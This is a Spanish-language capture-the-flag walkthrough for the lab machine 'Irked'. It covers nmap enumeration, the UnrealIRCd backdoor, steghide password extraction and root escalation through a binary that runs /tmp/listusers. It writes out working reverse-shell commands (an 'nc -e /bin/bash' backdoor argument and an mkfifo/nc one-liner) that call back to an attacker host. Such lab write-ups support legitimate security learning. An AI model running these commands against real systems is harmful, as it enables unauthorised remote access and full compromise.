🏳️Irked

1. Enumeración y descubrimiento
Comenzamos la fase de enumeración de la máquina Irked realizando una petición mediante nmap a la IP desplegada buscando la información necesaria para comenzar. Comenzamos:
nmap -sC -sV -sT 10.10.10.117

Nos percatamos de que en el puerto 22 existe un servicio OpenSSH 6.7 al cual hecharemos un vistazo más adelante. Ahora revisaremos el http de la máquina, en el cual nos aparece el mensaje "IRC is almost working".

Seguiremos la pista del IRC y buscaremos si existe un servicio IRC en la máquina el cual no esté en un puerto común. Para ello pediremos a NMAP que busque en todos los puertos de la máquina, para ello usaremos el tag -p-:
nmap -sC -sV -sT 10.10.10.117 -p-

En este punto encontramos varios servicios UnrealIRCd de IRC e incluso un email.
2. Análisis de vulnerabilidades
En este punto vamos a comenzar a buscar información sobre el servicio UnrealIRCd y las vulnerabilidades conocidas en el servicio.


Son algunos de los métodos que tenemos para acceder a esta máquina, aunque nosotros utilizaremos un script de nmap para ganar acceso a la misma. El script que hemos encontrado se encuentra documentad en la página oficial de Nmap y explica como debemos usarlo así como nos facilita el enlace de descarga del mismo. Para desplegarlo recuerda guardar el script en la ruta /usr/share/nmap/scripts
y que tenga la extensión .nse
.
3. Explotación
Llegado este punto ejecutaremos el script apuntando a la IP los puertos con el servicio IRC depslegado para averiguar cual de ellos es vulnerable.
nmap -p 6697,8067,65534 --script irc-unrealircd-backdoor 10.10.10.117

En este punto ejecutaremos el backdoor y lo redirigiremos hacia el netcat que tenemos levantado en el puerto 4444 en nuestro caso.
nmap -p 8067 --script=irc-unrealircd-backdoor --script-args=irc-unrealircd-backdoor.command="nc -e /bin/bash [IP] [PORT]" 10.10.10.117
Esperaremos unos segundos tras ejecutar el comando hasta que nuestro Netcat reciba la conexión correctamente.

En este punto ya tendremos una shell abierta en nuestra máquina con el usuario ircd de la máquina Irked. Realizaremos un tratamiento de la TTY con Python mediante:
python -c 'import pty; pty.spawn("/bin/bash")'
El usuario carece de permisos para poder visualizar la flag de user por lo que tendremos que intentar conseguir otro usuario u método de acceso a la flag y posteriormente acceso a root para finalizar la máquina.

4. Escalada de privilegios usuario
En este punto revisamos los diferentes directorios hasta encontrarnos un fichero backup oculto en la carpeta documents el cual parece tener una contraseña.

El problema es ¿Donde usamos esta contraseña? ya que cuando intentamos acceder a djmardov con ella no nos lo permite... Tras investigar un rato caemos.... La imagen que vimos en el HTTP con un emoji puede que contenga algo de información... Es por ello que vamos a realizar una análisis para ver si hay algo oculto.
steghide info irked.jpg

Al introducir la contraseña nos informa de que existe un archivo llamado pass.txt. Es por ello que ejecutaremos steghide extract -sf irked.jpg
y extraeremos el archivo pass en el cual se incluirá la contraseña con la que podremos acceder a djmardov y visualizar la flag del usuario.

5. Escalada de privilegios Root
Llegado este punto nos toca buscar una manera de hacernos con el usuario Root y ganar acceso total a la máquina. Encontramos un binario llamado viewuser el cual puede servirnos para generar la escalada.

Al ejecutar la aplicación viewuser nos aparecerá el siguiente mensaje sobre la aplicaciçon la cual está buscando el fichero en /tmp/listusers.

Nos aprovecharemos de que este servicio está corriendo constantemente mediante root para volcar en el archivo la generación de una bash.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f" > /tmp/listusers
Después deberemos de aprovecharnos del usuario djmardov para dar algunos permisos al fichero generado.
chmod a+x /tmp/listusers
Una vez realizado esto deberemos ejecutar viewuser, teniendo un netcat abierto a la escucha en el puerto que hayamos configurado, y con ello tendremos acceso como root a la máquina y podremos ver la flag.

Última actualización
¿Te fue útil?